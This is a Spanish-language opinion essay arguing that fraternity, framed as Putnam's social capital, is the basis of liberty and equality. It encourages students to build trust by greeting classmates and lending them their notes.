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Cambie al país: atrévase a prestar sus apuntes

El lema Libertad, Igualdad, Fraternidad; heredado de la Revolución Francesa, es aún parte integral del pensamiento republicano que permea las sociedades democráticas de hoy en día. Sin embargo, la mayoría de los debates contemporáneos se centran en la libertad y la igualdad, viendo la fraternidad como una reliquia de revolucionarios idealistas. Sin embargo, sin fraternidad  es imposible que la ciudadanía pueda organizarse para constituir un gobierno que garantice la libertad y la igualdad; algo corroborado por la economía política actual.

Para utilizar el término técnico muy sencillamente, el capital social es la cantidad y calidad de asociaciones y lazos entre los ciudadanos, y un mayor nivel de éste lleva a mejores resultados sociales. Esta teoría, originada por Robert Putnam, ha dado origen a toda una rama de la economía que busca cuantificar los efectos positivos y negativos (que los hay) del capital social sobre toda una gama de aspectos sociales: pobreza, corrupción, resultados electorales, provisión de bienes públicos, etc. El resultado principal de todas las estadísticas que la profesión le ha dedicado a este tema es relativamente claro: el capital social tiene un fuerte impacto positivo sobre las sociedades.

El efecto principal de la existencia de capital social es que el pertenecer a un grupo dado promueve la confianza entre los miembros del grupo – después de todo, es más fácil confiar en un compañero de clase o en un vecino que en un perfecto desconocido. Sin embargo, el efecto de esta confianza no se limita en principio a los conocidos directos, sino que puede ampliarse a más personas en diferentes grupos y círculos, a los “amigos de los amigos”. Estos lazos de confianza entre miembros de un mismo y de diferentes grupos pueden convertirse en una herramienta para resolver los problemas de acción colectiva que existen en toda sociedad, pues es más fácil que un grupo se coordine, por grande que sea, cuando existen lazos de confianza y reciprocidad entre sus miembros. Por ejemplo: es más fácil que una petición estudiantil tenga mayores efectos en una universidad con asociaciones estudiantiles amplias y diversas, en vez de una universidad donde los estudiantes a duras penas se conocen y se limitan a quejarse individualmente.

Los posibles resultados de estos grupos no tienen límite – una hipotética asociación de estudiantes o vecinos puede crecer en número, de un grupo de diez amigos a un grupo de cien, o mil personas, pasar a extenderse a otros barrios o universidades, y llegar a movilizar un sector importante de la sociedad basándose en lazos de confianza y reciprocidad. La fraternidad de la Revolución Francesa, el capital social de la actual economía política, son el vehículo mediante el cual los ciudadanos pueden no ser sólo votantes, sino sujetos capaces de proponer ideas sobre el rumbo de sus comunidades y de su nación.

Para cambiar el país no es necesario ser ministro o congresista. Atrévase a saludar a sus compañeros de salón y a sus vecinos: cree capital social, atrévase a confiar en su compañero de clase y préstele sus apuntes. Ese mínimo acto de confianza y fraternidad es la semilla de la libertad y la igualdad.♦

*Nicolás Acevedo Rebolledo

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